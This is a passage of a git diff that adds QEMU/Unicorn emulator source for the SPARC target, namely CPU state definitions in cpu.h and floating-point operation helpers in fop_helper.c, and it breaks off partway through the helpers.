CC_OP_SUB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_SUBX, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_TSUB, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_TSUBTV, /* modify all flags except V, CC_DST = res, CC_SRC = src1 */ + CC_OP_LOGIC, /* modify N and Z, C = V = 0, CC_DST = res */ + CC_OP_NB, +}; + +/* Trap base register */ +#define TBR_BASE_MASK 0xfffff000 + +#if defined(TARGET_SPARC64) +#define PS_TCT (1<<12) /* UA2007, impl.dep. trap on control transfer */ +#define PS_IG (1<<11) /* v9, zero on UA2007 */ +#define PS_MG (1<<10) /* v9, zero on UA2007 */ +#define PS_CLE (1<<9) /* UA2007 */ +#define PS_TLE (1<<8) /* UA2007 */ +#define PS_RMO (1<<7) +#define PS_RED (1<<5) /* v9, zero on UA2007 */ +#define PS_PEF (1<<4) /* enable fpu */ +#define PS_AM (1<<3) /* address mask */ +#define PS_PRIV (1<<2) +#define PS_IE (1<<1) +#define PS_AG (1<<0) /* v9, zero on UA2007 */ + +#define FPRS_FEF (1<<2) + +#define HS_PRIV (1<<2) +#endif + +/* Fcc */ +#define FSR_RD1 (1ULL << 31) +#define FSR_RD0 (1ULL << 30) +#define FSR_RD_MASK (FSR_RD1 | FSR_RD0) +#define FSR_RD_NEAREST 0 +#define FSR_RD_ZERO FSR_RD0 +#define FSR_RD_POS FSR_RD1 +#define FSR_RD_NEG (FSR_RD1 | FSR_RD0) + +#define FSR_NVM (1ULL << 27) +#define FSR_OFM (1ULL << 26) +#define FSR_UFM (1ULL << 25) +#define FSR_DZM (1ULL << 24) +#define FSR_NXM (1ULL << 23) +#define FSR_TEM_MASK (FSR_NVM | FSR_OFM | FSR_UFM | FSR_DZM | FSR_NXM) + +#define FSR_NVA (1ULL << 9) +#define FSR_OFA (1ULL << 8) +#define FSR_UFA (1ULL << 7) +#define FSR_DZA (1ULL << 6) +#define FSR_NXA (1ULL << 5) +#define FSR_AEXC_MASK (FSR_NVA | FSR_OFA | FSR_UFA | FSR_DZA | FSR_NXA) + +#define FSR_NVC (1ULL << 4) +#define FSR_OFC (1ULL << 3) +#define FSR_UFC (1ULL << 2) +#define FSR_DZC (1ULL << 1) +#define FSR_NXC (1ULL << 0) +#define FSR_CEXC_MASK (FSR_NVC | FSR_OFC | FSR_UFC | FSR_DZC | FSR_NXC) + +#define FSR_FTT2 (1ULL << 16) +#define FSR_FTT1 (1ULL << 15) +#define FSR_FTT0 (1ULL << 14) +//gcc warns about constant overflow for ~FSR_FTT_MASK +//#define FSR_FTT_MASK (FSR_FTT2 | FSR_FTT1 | FSR_FTT0) +#ifdef TARGET_SPARC64 +#define FSR_FTT_NMASK 0xfffffffffffe3fffULL +#define FSR_FTT_CEXC_NMASK 0xfffffffffffe3fe0ULL +#define FSR_LDFSR_OLDMASK 0x0000003f000fc000ULL +#define FSR_LDXFSR_MASK 0x0000003fcfc00fffULL +#define FSR_LDXFSR_OLDMASK 0x00000000000fc000ULL +#else +#define FSR_FTT_NMASK 0xfffe3fffULL +#define FSR_FTT_CEXC_NMASK 0xfffe3fe0ULL +#define FSR_LDFSR_OLDMASK 0x000fc000ULL +#endif +#define FSR_LDFSR_MASK 0xcfc00fffULL +#define FSR_FTT_IEEE_EXCP (1ULL << 14) +#define FSR_FTT_UNIMPFPOP (3ULL << 14) +#define FSR_FTT_SEQ_ERROR (4ULL << 14) +#define FSR_FTT_INVAL_FPR (6ULL << 14) + +#define FSR_FCC1_SHIFT 11 +#define FSR_FCC1 (1ULL << FSR_FCC1_SHIFT) +#define FSR_FCC0_SHIFT 10 +#define FSR_FCC0 (1ULL << FSR_FCC0_SHIFT) + +/* MMU */ +#define MMU_E (1<<0) +#define MMU_NF (1<<1) + +#define PTE_ENTRYTYPE_MASK 3 +#define PTE_ACCESS_MASK 0x1c +#define PTE_ACCESS_SHIFT 2 +#define PTE_PPN_SHIFT 7 +#define PTE_ADDR_MASK 0xffffff00 + +#define PG_ACCESSED_BIT 5 +#define PG_MODIFIED_BIT 6 +#define PG_CACHE_BIT 7 + +#define PG_ACCESSED_MASK (1 << PG_ACCESSED_BIT) +#define PG_MODIFIED_MASK (1 << PG_MODIFIED_BIT) +#define PG_CACHE_MASK (1 << PG_CACHE_BIT) + +/* 3 <= NWINDOWS <= 32. */ +#define MIN_NWINDOWS 3 +#define MAX_NWINDOWS 32 + +#if !defined(TARGET_SPARC64) +#define NB_MMU_MODES 2 +#else +#define NB_MMU_MODES 6 +typedef struct trap_state { + uint64_t tpc; + uint64_t tnpc; + uint64_t tstate; + uint32_t tt; +} trap_state; +#endif + +typedef struct sparc_def_t { + const char *name; + target_ulong iu_version; + uint32_t fpu_version; + uint32_t mmu_version; + uint32_t mmu_bm; + uint32_t mmu_ctpr_mask; + uint32_t mmu_cxr_mask; + uint32_t mmu_sfsr_mask; + uint32_t mmu_trcr_mask; + uint32_t mxcc_version; + uint32_t features; + uint32_t nwindows; + uint32_t maxtl; +} sparc_def_t; + +#define CPU_FEATURE_FLOAT (1 << 0) +#define CPU_FEATURE_FLOAT128 (1 << 1) +#define CPU_FEATURE_SWAP (1 << 2) +#define CPU_FEATURE_MUL (1 << 3) +#define CPU_FEATURE_DIV (1 << 4) +#define CPU_FEATURE_FLUSH (1 << 5) +#define CPU_FEATURE_FSQRT (1 << 6) +#define CPU_FEATURE_FMUL (1 << 7) +#define CPU_FEATURE_VIS1 (1 << 8) +#define CPU_FEATURE_VIS2 (1 << 9) +#define CPU_FEATURE_FSMULD (1 << 10) +#define CPU_FEATURE_HYPV (1 << 11) +#define CPU_FEATURE_CMT (1 << 12) +#define CPU_FEATURE_GL (1 << 13) +#define CPU_FEATURE_TA0_SHUTDOWN (1 << 14) /* Shutdown on "ta 0x0" */ +#define CPU_FEATURE_ASR17 (1 << 15) +#define CPU_FEATURE_CACHE_CTRL (1 << 16) +#define CPU_FEATURE_POWERDOWN (1 << 17) +#define CPU_FEATURE_CASA (1 << 18) + +#ifndef TARGET_SPARC64 +#define CPU_DEFAULT_FEATURES (CPU_FEATURE_FLOAT | CPU_FEATURE_SWAP | \ + CPU_FEATURE_MUL | CPU_FEATURE_DIV | \ + CPU_FEATURE_FLUSH | CPU_FEATURE_FSQRT | \ + CPU_FEATURE_FMUL | CPU_FEATURE_FSMULD) +#else +#define CPU_DEFAULT_FEATURES (CPU_FEATURE_FLOAT | CPU_FEATURE_SWAP | \ + CPU_FEATURE_MUL | CPU_FEATURE_DIV | \ + CPU_FEATURE_FLUSH | CPU_FEATURE_FSQRT | \ + CPU_FEATURE_FMUL | CPU_FEATURE_VIS1 | \ + CPU_FEATURE_VIS2 | CPU_FEATURE_FSMULD | \ + CPU_FEATURE_CASA) +enum { + mmu_us_12, // Ultrasparc < III (64 entry TLB) + mmu_us_3, // Ultrasparc III (512 entry TLB) + mmu_us_4, // Ultrasparc IV (several TLBs, 32 and 256MB pages) + mmu_sun4v, // T1, T2 +}; +#endif + +#define TTE_VALID_BIT (1ULL << 63) +#define TTE_NFO_BIT (1ULL << 60) +#define TTE_USED_BIT (1ULL << 41) +#define TTE_LOCKED_BIT (1ULL << 6) +#define TTE_SIDEEFFECT_BIT (1ULL << 3) +#define TTE_PRIV_BIT (1ULL << 2) +#define TTE_W_OK_BIT (1ULL << 1) +#define TTE_GLOBAL_BIT (1ULL << 0) + +#define TTE_IS_VALID(tte) ((tte) & TTE_VALID_BIT) +#define TTE_IS_NFO(tte) ((tte) & TTE_NFO_BIT) +#define TTE_IS_USED(tte) ((tte) & TTE_USED_BIT) +#define TTE_IS_LOCKED(tte) ((tte) & TTE_LOCKED_BIT) +#define TTE_IS_SIDEEFFECT(tte) ((tte) & TTE_SIDEEFFECT_BIT) +#define TTE_IS_PRIV(tte) ((tte) & TTE_PRIV_BIT) +#define TTE_IS_W_OK(tte) ((tte) & TTE_W_OK_BIT) +#define TTE_IS_GLOBAL(tte) ((tte) & TTE_GLOBAL_BIT) + +#define TTE_SET_USED(tte) ((tte) |= TTE_USED_BIT) +#define TTE_SET_UNUSED(tte) ((tte) &= ~TTE_USED_BIT) + +#define TTE_PGSIZE(tte) (((tte) >> 61) & 3ULL) +#define TTE_PA(tte) ((tte) & 0x1ffffffe000ULL) + +#define SFSR_NF_BIT (1ULL << 24) /* JPS1 NoFault */ +#define SFSR_TM_BIT (1ULL << 15) /* JPS1 TLB Miss */ +#define SFSR_FT_VA_IMMU_BIT (1ULL << 13) /* USIIi VA out of range (IMMU) */ +#define SFSR_FT_VA_DMMU_BIT (1ULL << 12) /* USIIi VA out of range (DMMU) */ +#define SFSR_FT_NFO_BIT (1ULL << 11) /* NFO page access */ +#define SFSR_FT_ILL_BIT (1ULL << 10) /* illegal LDA/STA ASI */ +#define SFSR_FT_ATOMIC_BIT (1ULL << 9) /* atomic op on noncacheable area */ +#define SFSR_FT_NF_E_BIT (1ULL << 8) /* NF access on side effect area */ +#define SFSR_FT_PRIV_BIT (1ULL << 7) /* privilege violation */ +#define SFSR_PR_BIT (1ULL << 3) /* privilege mode */ +#define SFSR_WRITE_BIT (1ULL << 2) /* write access mode */ +#define SFSR_OW_BIT (1ULL << 1) /* status overwritten */ +#define SFSR_VALID_BIT (1ULL << 0) /* status valid */ + +#define SFSR_ASI_SHIFT 16 /* 23:16 ASI value */ +#define SFSR_ASI_MASK (0xffULL << SFSR_ASI_SHIFT) +#define SFSR_CT_PRIMARY (0ULL << 4) /* 5:4 context type */ +#define SFSR_CT_SECONDARY (1ULL << 4) +#define SFSR_CT_NUCLEUS (2ULL << 4) +#define SFSR_CT_NOTRANS (3ULL << 4) +#define SFSR_CT_MASK (3ULL << 4) + +/* Leon3 cache control */ + +/* Cache control: emulate the behavior of cache control registers but without + any effect on the emulated */ + +#define CACHE_STATE_MASK 0x3 +#define CACHE_DISABLED 0x0 +#define CACHE_FROZEN 0x1 +#define CACHE_ENABLED 0x3 + +/* Cache Control register fields */ + +#define CACHE_CTRL_IF (1 << 4) /* Instruction Cache Freeze on Interrupt */ +#define CACHE_CTRL_DF (1 << 5) /* Data Cache Freeze on Interrupt */ +#define CACHE_CTRL_DP (1 << 14) /* Data cache flush pending */ +#define CACHE_CTRL_IP (1 << 15) /* Instruction cache flush pending */ +#define CACHE_CTRL_IB (1 << 16) /* Instruction burst fetch */ +#define CACHE_CTRL_FI (1 << 21) /* Flush Instruction cache (Write only) */ +#define CACHE_CTRL_FD (1 << 22) /* Flush Data cache (Write only) */ +#define CACHE_CTRL_DS (1 << 23) /* Data cache snoop enable */ + +typedef struct SparcTLBEntry { + uint64_t tag; + uint64_t tte; +} SparcTLBEntry; + +struct CPUTimer +{ + const char *name; + uint32_t frequency; + uint32_t disabled; + uint64_t disabled_mask; + int64_t clock_offset; + QEMUTimer *qtimer; +}; + +typedef struct CPUTimer CPUTimer; + +struct QEMUFile; +void cpu_put_timer(struct QEMUFile *f, CPUTimer *s); +void cpu_get_timer(struct QEMUFile *f, CPUTimer *s); + +typedef struct CPUSPARCState CPUSPARCState; + +struct CPUSPARCState { + target_ulong gregs[8]; /* general registers */ + target_ulong *regwptr; /* pointer to current register window */ + target_ulong pc; /* program counter */ + target_ulong npc; /* next program counter */ + target_ulong y; /* multiply/divide register */ + + /* emulator internal flags handling */ + target_ulong cc_src, cc_src2; + target_ulong cc_dst; + uint32_t cc_op; + + target_ulong cond; /* conditional branch result (XXX: save it in a + temporary register when possible) */ + + uint32_t psr; /* processor state register */ + target_ulong fsr; /* FPU state register */ + CPU_DoubleU fpr[TARGET_DPREGS]; /* floating point registers */ + uint32_t cwp; /* index of current register window (extracted + from PSR) */ +#if !defined(TARGET_SPARC64) || defined(TARGET_ABI32) + uint32_t wim; /* window invalid mask */ +#endif + target_ulong tbr; /* trap base register */ +#if !defined(TARGET_SPARC64) + int psrs; /* supervisor mode (extracted from PSR) */ + int psrps; /* previous supervisor mode */ + int psret; /* enable traps */ +#endif + uint32_t psrpil; /* interrupt blocking level */ + uint32_t pil_in; /* incoming interrupt level bitmap */ +#if !defined(TARGET_SPARC64) + int psref; /* enable fpu */ +#endif + int interrupt_index; + /* NOTE: we allow 8 more registers to handle wrapping */ + target_ulong regbase[MAX_NWINDOWS * 16 + 8]; + + CPU_COMMON + + /* Fields from here on are preserved across CPU reset. */ + target_ulong version; + uint32_t nwindows; + + /* MMU regs */ +#if defined(TARGET_SPARC64) + uint64_t lsu; +#define DMMU_E 0x8 +#define IMMU_E 0x4 + //typedef struct SparcMMU + union { + uint64_t immuregs[16]; + struct { + uint64_t tsb_tag_target; + uint64_t unused_mmu_primary_context; // use DMMU + uint64_t unused_mmu_secondary_context; // use DMMU + uint64_t sfsr; + uint64_t sfar; + uint64_t tsb; + uint64_t tag_access; + } immu; + }; + union { + uint64_t dmmuregs[16]; + struct { + uint64_t tsb_tag_target; + uint64_t mmu_primary_context; + uint64_t mmu_secondary_context; + uint64_t sfsr; + uint64_t sfar; + uint64_t tsb; + uint64_t tag_access; + } dmmu; + }; + SparcTLBEntry itlb[64]; + SparcTLBEntry dtlb[64]; + uint32_t mmu_version; +#else + uint32_t mmuregs[32]; + uint64_t mxccdata[4]; + uint64_t mxccregs[8]; + uint32_t mmubpctrv, mmubpctrc, mmubpctrs; + uint64_t mmubpaction; + uint64_t mmubpregs[4]; + uint64_t prom_addr; +#endif + /* temporary float registers */ + float128 qt0, qt1; + float_status fp_status; +#if defined(TARGET_SPARC64) +#define MAXTL_MAX 8 +#define MAXTL_MASK (MAXTL_MAX - 1) + trap_state ts[MAXTL_MAX]; + uint32_t xcc; /* Extended integer condition codes */ + uint32_t asi; + uint32_t pstate; + uint32_t tl; + uint32_t maxtl; + uint32_t cansave, canrestore, otherwin, wstate, cleanwin; + uint64_t agregs[8]; /* alternate general registers */ + uint64_t bgregs[8]; /* backup for normal global registers */ + uint64_t igregs[8]; /* interrupt general registers */ + uint64_t mgregs[8]; /* mmu general registers */ + uint64_t fprs; + uint64_t tick_cmpr, stick_cmpr; + CPUTimer *tick, *stick; +#define TICK_NPT_MASK 0x8000000000000000ULL +#define TICK_INT_DIS 0x8000000000000000ULL + uint64_t gsr; + uint32_t gl; // UA2005 + /* UA 2005 hyperprivileged registers */ + uint64_t hpstate, htstate[MAXTL_MAX], hintp, htba, hver, hstick_cmpr, ssr; + CPUTimer *hstick; // UA 2005 + /* Interrupt vector registers */ + uint64_t ivec_status; + uint64_t ivec_data[3]; + uint32_t softint; +#define SOFTINT_TIMER 1 +#define SOFTINT_STIMER (1 << 16) +#define SOFTINT_INTRMASK (0xFFFE) +#define SOFTINT_REG_MASK (SOFTINT_STIMER|SOFTINT_INTRMASK|SOFTINT_TIMER) +#endif + sparc_def_t *def; + + //void *irq_manager; + //void (*qemu_irq_ack)(CPUSPARCState *env, void *irq_manager, int intno); + + /* Leon3 cache control */ + uint32_t cache_control; + + // Unicorn engine + struct uc_struct *uc; +}; + +#include "cpu-qom.h" + +#ifndef NO_CPU_IO_DEFS +/* cpu_init.c */ +SPARCCPU *cpu_sparc_init(struct uc_struct *uc, const char *cpu_model); +void cpu_sparc_set_id(CPUSPARCState *env, unsigned int cpu); +void sparc_cpu_list(FILE *f, fprintf_function cpu_fprintf); +/* mmu_helper.c */ +int sparc_cpu_handle_mmu_fault(CPUState *cpu, vaddr address, int rw, + int mmu_idx); +target_ulong mmu_probe(CPUSPARCState *env, target_ulong address, int mmulev); +void dump_mmu(FILE *f, fprintf_function cpu_fprintf, CPUSPARCState *env); + +#if !defined(TARGET_SPARC64) && !defined(CONFIG_USER_ONLY) +int sparc_cpu_memory_rw_debug(CPUState *cpu, vaddr addr, + uint8_t *buf, int len, bool is_write); +#endif + + +/* translate.c */ +void gen_intermediate_code_init(CPUSPARCState *env); + +/* cpu-exec.c */ +int cpu_sparc_exec(struct uc_struct *uc, CPUSPARCState *s); + +/* win_helper.c */ +target_ulong cpu_get_psr(CPUSPARCState *env1); +void cpu_put_psr(CPUSPARCState *env1, target_ulong val); +#ifdef TARGET_SPARC64 +target_ulong cpu_get_ccr(CPUSPARCState *env1); +void cpu_put_ccr(CPUSPARCState *env1, target_ulong val); +target_ulong cpu_get_cwp64(CPUSPARCState *env1); +void cpu_put_cwp64(CPUSPARCState *env1, int cwp); +void cpu_change_pstate(CPUSPARCState *env1, uint32_t new_pstate); +#endif +int cpu_cwp_inc(CPUSPARCState *env1, int cwp); +int cpu_cwp_dec(CPUSPARCState *env1, int cwp); +void cpu_set_cwp(CPUSPARCState *env1, int new_cwp); + +/* int_helper.c */ +void leon3_irq_manager(CPUSPARCState *env, void *irq_manager, int intno); + +/* sun4m.c, sun4u.c */ +void cpu_check_irqs(CPUSPARCState *env); + +/* leon3.c */ +void leon3_irq_ack(void *irq_manager, int intno); + +#if defined (TARGET_SPARC64) + +static inline int compare_masked(uint64_t x, uint64_t y, uint64_t mask) +{ + return (x & mask) == (y & mask); +} + +#define MMU_CONTEXT_BITS 13 +#define MMU_CONTEXT_MASK ((1 << MMU_CONTEXT_BITS) - 1) + +static inline int tlb_compare_context(const SparcTLBEntry *tlb, + uint64_t context) +{ + return compare_masked(context, tlb->tag, MMU_CONTEXT_MASK); +} + +#endif +#endif + +/* cpu-exec.c */ +#if !defined(CONFIG_USER_ONLY) +void sparc_cpu_unassigned_access(CPUState *cpu, hwaddr addr, + bool is_write, bool is_exec, int is_asi, + unsigned size); +#if defined(TARGET_SPARC64) +hwaddr cpu_get_phys_page_nofault(CPUSPARCState *env, target_ulong addr, + int mmu_idx); +#endif +#endif +int cpu_sparc_signal_handler(int host_signum, void *pinfo, void *puc); + +#ifndef NO_CPU_IO_DEFS +static inline CPUSPARCState *cpu_init(struct uc_struct *uc, const char *cpu_model) +{ + SPARCCPU *cpu = cpu_sparc_init(uc, cpu_model); + if (cpu == NULL) { + return NULL; + } + return &cpu->env; +} +#endif + +#define cpu_exec cpu_sparc_exec +#define cpu_gen_code cpu_sparc_gen_code +#define cpu_signal_handler cpu_sparc_signal_handler +#define cpu_list sparc_cpu_list + +#define CPU_SAVE_VERSION 7 + +/* MMU modes definitions */ +#if defined (TARGET_SPARC64) +#define MMU_USER_IDX 0 +#define MMU_MODE0_SUFFIX _user +#define MMU_USER_SECONDARY_IDX 1 +#define MMU_MODE1_SUFFIX _user_secondary +#define MMU_KERNEL_IDX 2 +#define MMU_MODE2_SUFFIX _kernel +#define MMU_KERNEL_SECONDARY_IDX 3 +#define MMU_MODE3_SUFFIX _kernel_secondary +#define MMU_NUCLEUS_IDX 4 +#define MMU_MODE4_SUFFIX _nucleus +#define MMU_HYPV_IDX 5 +#define MMU_MODE5_SUFFIX _hypv +#else +#define MMU_USER_IDX 0 +#define MMU_MODE0_SUFFIX _user +#define MMU_KERNEL_IDX 1 +#define MMU_MODE1_SUFFIX _kernel +#endif + +#if defined (TARGET_SPARC64) +static inline int cpu_has_hypervisor(CPUSPARCState *env1) +{ + return env1->def->features & CPU_FEATURE_HYPV; +} + +static inline int cpu_hypervisor_mode(CPUSPARCState *env1) +{ + return cpu_has_hypervisor(env1) && (env1->hpstate & HS_PRIV); +} + +static inline int cpu_supervisor_mode(CPUSPARCState *env1) +{ + return env1->pstate & PS_PRIV; +} +#endif + +static inline int cpu_mmu_index(CPUSPARCState *env1) +{ +#if defined(CONFIG_USER_ONLY) + return MMU_USER_IDX; +#elif !defined(TARGET_SPARC64) + return env1->psrs; +#else + if (env1->tl > 0) { + return MMU_NUCLEUS_IDX; + } else if (cpu_hypervisor_mode(env1)) { + return MMU_HYPV_IDX; + } else if (cpu_supervisor_mode(env1)) { + return MMU_KERNEL_IDX; + } else { + return MMU_USER_IDX; + } +#endif +} + +static inline int cpu_interrupts_enabled(CPUSPARCState *env1) +{ +#if !defined (TARGET_SPARC64) + if (env1->psret != 0) + return 1; +#else + if (env1->pstate & PS_IE) + return 1; +#endif + + return 0; +} + +static inline int cpu_pil_allowed(CPUSPARCState *env1, int pil) +{ +#if !defined(TARGET_SPARC64) + /* level 15 is non-maskable on sparc v8 */ + return pil == 15 || pil > env1->psrpil; +#else + return pil > env1->psrpil; +#endif +} + +#include "exec/cpu-all.h" + +#ifdef TARGET_SPARC64 +/* sun4u.c */ +void cpu_tick_set_count(CPUTimer *timer, uint64_t count); +uint64_t cpu_tick_get_count(CPUTimer *timer); +void cpu_tick_set_limit(CPUTimer *timer, uint64_t limit); +trap_state* cpu_tsptr(CPUSPARCState* env); +#endif + +#define TB_FLAG_FPU_ENABLED (1 << 4) +#define TB_FLAG_AM_ENABLED (1 << 5) + +static inline void cpu_get_tb_cpu_state(CPUSPARCState *env, target_ulong *pc, + target_ulong *cs_base, int *flags) +{ + *pc = env->pc; + *cs_base = env->npc; +#ifdef TARGET_SPARC64 + // AM . Combined FPU enable bits . PRIV . DMMU enabled . IMMU enabled + *flags = (env->pstate & PS_PRIV) /* 2 */ + | ((env->lsu & (DMMU_E | IMMU_E)) >> 2) /* 1, 0 */ + | ((env->tl & 0xff) << 8) + | (env->dmmu.mmu_primary_context << 16); /* 16... */ + if (env->pstate & PS_AM) { + *flags |= TB_FLAG_AM_ENABLED; + } + if ((env->def->features & CPU_FEATURE_FLOAT) && (env->pstate & PS_PEF) + && (env->fprs & FPRS_FEF)) { + *flags |= TB_FLAG_FPU_ENABLED; + } +#else + // FPU enable . Supervisor + *flags = env->psrs; + if ((env->def->features & CPU_FEATURE_FLOAT) && env->psref) { + *flags |= TB_FLAG_FPU_ENABLED; + } +#endif +} + +static inline bool tb_fpu_enabled(int tb_flags) +{ +#if defined(CONFIG_USER_ONLY) + return true; +#else + return tb_flags & TB_FLAG_FPU_ENABLED; +#endif +} + +static inline bool tb_am_enabled(int tb_flags) +{ +#ifndef TARGET_SPARC64 + return false; +#else + return tb_flags & TB_FLAG_AM_ENABLED; +#endif +} + +#include "exec/exec-all.h" + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/fop_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/fop_helper.c new file mode 100644 index 0000000..ee4592e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/fop_helper.c @@ -0,0 +1,467 @@ +/* + * FPU op helpers + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" + +#define QT0 (env->qt0) +#define QT1 (env->qt1) + +static void check_ieee_exceptions(CPUSPARCState *env) +{ + target_ulong status; + + status = get_float_exception_flags(&env->fp_status); + if (status) { + /* Copy IEEE 754 flags into FSR */ + if (status & float_flag_invalid) { + env->fsr |= FSR_NVC; + } + if (status & float_flag_overflow) { + env->fsr |= FSR_OFC; + } + if (status & float_flag_underflow) { + env->fsr |= FSR_UFC; + } + if (status & float_flag_divbyzero) { + env->fsr |= FSR_DZC; + } + if (status & float_flag_inexact) { + env->fsr |= FSR_NXC; + } + + if ((env->fsr & FSR_CEXC_MASK) & ((env->fsr & FSR_TEM_MASK) >> 23)) { + /* Unmasked exception, generate a trap */ + env->fsr |= FSR_FTT_IEEE_EXCP; + helper_raise_exception(env, TT_FP_EXCP); + } else { + /* Accumulate exceptions */ + env->fsr |= (env->fsr & FSR_CEXC_MASK) << 5; + } + } +} + +static inline void clear_float_exceptions(CPUSPARCState *env) +{ + set_float_exception_flags(0, &env->fp_status); +} + +#define F_HELPER(name, p) void helper_f##name##p(CPUSPARCState *env) + +#define F_BINOP(name) \ + float32 helper_f ## name ## s (CPUSPARCState *env, float32 src1, \ + float32 src2) \ + { \ + float32 ret; \ + clear_float_exceptions(env); \ + ret = float32_ ## name (src1, src2, &env->fp_status); \ + check_ieee_exceptions(env); \ + return ret; \ + } \ + float64 helper_f ## name ## d (CPUSPARCState * env, float64 src1,\ + float64 src2) \ + { \ + float64 ret; \ + clear_float_exceptions(env); \ + ret = float64_ ## name (src1, src2, &env->fp_status); \ + check_ieee_exceptions(env); \ + return ret; \ + } \ + F_HELPER(name, q) \ + { \ + clear_float_exceptions(env); \ + QT0 = float128_ ## name (QT0, QT1, &env->fp_status); \ + check_ieee_exceptions(env); \ + } + +F_BINOP(add); +F_BINOP(sub); +F_BINOP(mul); +F_BINOP(div); +#undef F_BINOP + +float64 helper_fsmuld(CPUSPARCState *env, float32 src1, float32 src2) +{ + float64 ret; + clear_float_exceptions(env); + ret = float64_mul(float32_to_float64(src1, &env->fp_status), + float32_to_float64(src2, &env->fp_status), + &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +void helper_fdmulq(CPUSPARCState *env, float64 src1, float64 src2) +{ + clear_float_exceptions(env); + QT0 = float128_mul(float64_to_float128(src1, &env->fp_status), + float64_to_float128(src2, &env->fp_status), + &env->fp_status); + check_ieee_exceptions(env); +} + +float32 helper_fnegs(float32 src) +{ + return float32_chs(src); +} + +#ifdef TARGET_SPARC64 +float64 helper_fnegd(float64 src) +{ + return float64_chs(src); +} + +F_HELPER(neg, q) +{ + QT0 = float128_chs(QT1); +} +#endif + +/* Integer to float conversion. */ +float32 helper_fitos(CPUSPARCState *env, int32_t src) +{ + /* Inexact error possible converting int to float. */ + float32 ret; + clear_float_exceptions(env); + ret = int32_to_float32(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +float64 helper_fitod(CPUSPARCState *env, int32_t src) +{ + /* No possible exceptions converting int to double. */ + return int32_to_float64(src, &env->fp_status); +} + +void helper_fitoq(CPUSPARCState *env, int32_t src) +{ + /* No possible exceptions converting int to long double. */ + QT0 = int32_to_float128(src, &env->fp_status); +} + +#ifdef TARGET_SPARC64 +float32 helper_fxtos(CPUSPARCState *env, int64_t src) +{ + float32 ret; + clear_float_exceptions(env); + ret = int64_to_float32(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +float64 helper_fxtod(CPUSPARCState *env, int64_t src) +{ + float64 ret; + clear_float_exceptions(env); + ret = int64_to_float64(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +void helper_fxtoq(CPUSPARCState *env, int64_t src) +{ + /* No possible exceptions converting long long to long double. */ + QT0 = int64_to_float128(src, &env->fp_status); +} +#endif +#undef F_HELPER + +/* floating point conversion */ +float32 helper_fdtos(CPUSPARCState *env, float64 src) +{ + float32 ret; + clear_float_exceptions(env); + ret = float64_to_float32(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +float64 helper_fstod(CPUSPARCState *env, float32 src) +{ + float64 ret; + clear_float_exceptions(env); + ret = float32_to_float64(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +float32 helper_fqtos(CPUSPARCState *env) +{ + float32 ret; + clear_float_exceptions(env); + ret = float128_to_float32(QT1, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +void helper_fstoq(CPUSPARCState *env, float32 src) +{ + clear_float_exceptions(env); + QT0 = float32_to_float128(src, &env->fp_status); + check_ieee_exceptions(env); +} + +float64 helper_fqtod(CPUSPARCState *env) +{ + float64 ret; + clear_float_exceptions(env); + ret = float128_to_float64(QT1, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +void helper_fdtoq(CPUSPARCState *env, float64 src) +{ + clear_float_exceptions(env); + QT0 = float64_to_float128(src, &env->fp_status); + check_ieee_exceptions(env); +} + +/* Float to integer conversion. */ +int32_t helper_fstoi(CPUSPARCState *env, float32 src) +{ + int32_t ret; + clear_float_exceptions(env); + ret = float32_to_int32_round_to_zero(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +int32_t helper_fdtoi(CPUSPARCState *env, float64 src) +{ + int32_t ret; + clear_float_exceptions(env); + ret = float64_to_int32_round_to_zero(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +int32_t helper_fqtoi(CPUSPARCState *env) +{ + int32_t ret; + clear_float_exceptions(env); + ret = float128_to_int32_round_to_zero(QT1, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +#ifdef TARGET_SPARC64 +int64_t helper_fstox(CPUSPARCState *env, float32 src) +{ + int64_t ret; + clear_float_exceptions(env); + ret = float32_to_int64_round_to_zero(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +int64_t helper_fdtox(CPUSPARCState *env, float64 src) +{ + int64_t ret; + clear_float_exceptions(env); + ret = float64_to_int64_round_to_zero(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +int64_t helper_fqtox(CPUSPARCState *env) +{ + int64_t ret; + clear_float_exceptions(env); + ret = float128_to_int64_round_to_zero(QT1, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} +#endif + +float32 helper_fabss(float32 src) +{ + return float32_abs(src); +} + +#ifdef TARGET_SPARC64 +float64 helper_fabsd(float64 src) +{ + return float64_abs(src); +} + +void helper_fabsq(CPUSPARCState *env) +{ + QT0 = float128_abs(QT1); +} +#endif + +float32 helper_fsqrts(CPUSPARCState *env, float32 src) +{ + float32 ret; + clear_float_exceptions(env); + ret = float32_sqrt(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +float64 helper_fsqrtd(CPUSPARCState *env, float64 src) +{ + float64 ret; + clear_float_exceptions(env); + ret = float64_sqrt(src, &env->fp_status); + check_ieee_exceptions(env); + return ret; +} + +void helper_fsqrtq(CPUSPARCState *env) +{ + clear_float_exceptions(env); + QT0 = float128_sqrt(QT1, &env->fp_status); + 